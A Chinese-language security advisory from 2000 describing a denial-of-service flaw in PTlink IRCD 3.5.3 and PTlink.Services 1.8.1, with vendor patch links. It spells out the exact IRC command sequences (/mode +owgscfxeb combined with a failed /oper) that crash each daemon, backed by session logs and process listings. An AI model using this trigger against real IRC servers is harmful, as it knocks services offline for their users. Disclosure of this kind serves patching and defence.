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安全漏洞
PTlink IRCD和Services的拒绝服务漏洞

发布日期:2000-11-29
更新日期:2000-11-29

受影响系统:

PTlink 3.5.3 IRCD
PTlink.Services 1.8.1
不受影响系统:

PTlink 5.7.1 IRCD
PTlink.Services 2.14.3
描述:

在PTlink IRCD v3.5.3和其services v1.8.1中存在漏洞,可利用该漏洞来杀掉服务进程。

一、使Services崩溃

连接到IRC服务器,然后执行如下操作:

先执行
/mode <your nick> +owgscfxeb
命令,再执行
/oper <oper nick> <something, doesnt really matter>
命令。

这将导致服务器执行如下操作:

/mode <your nick> +owgscfxeb

[23:25] *** whocares sets mode: +wgsx

/oper <oper nick> <something, doesnt really matter>

-
Password Incorrect
-
[23:25] -freddy.userfriendly- Your attempt has been logged.
-
[23:26] -freddy.userfriendly- *** Notice -- Connection to
services.freddy.userfriendly[*@192.168.0.3] activated.
-
[23:26] -freddy.userfriendly- *** Notice -- Lost connection to
services.freddy.userfriendly[192.168.0.3]:Broken pipe
-
此时察看进程,发现services进程已经退出:

[root@freddy wildcoyote]# ps aux | grep services
[root@freddy wildcoyote]#

二、使IRCD崩溃

连接到IRC服务器,然后执行如下操作:
先执行
/oper <oper nick> <something, doesnt really matter>
命令,再执行
/mode <your nick> +owgscfxeb
命令。

这将导致服务器执行如下操作:

[23:43] -NickServ- This nickname is registered and protected.  If it is your
-
[23:43] -NickServ- nick, type /NickServ IDENTIFY password.  Otherwise,
-
[23:43] -NickServ- please choose a different nick.
-
[23:43] -NickServ- If you do not change within one minute, your nick will be changed.

/oper wildcoyote whocares
-
Password Incorrect
-
[23:43] -freddy.userfriendly- Your attempt has been logged.

/mode mynick +owgscfxeb
-
[23:44] *** Disconnected

此时察看进程,发现IRCD已经退出:

[root@freddy wildcoyote]# ps aux | grep ircd
[root@freddy wildcoyote]#

<* 来源  wildcoyote(lms@ispgaya.pt) *>




建议:

厂商补丁:

PTlink在新的版本中已经解决了这个问题:    

PTlink IRC Services 2.14.3:
http://download.sourceforge.net/PTlinkSoft/PTlink.Services2.14.3.tar.gz

PTlink PTlink IRCd 5.7.1:
http://download.sourceforge.net/ptlinksoft/PTlink5.7.1.tar.gz




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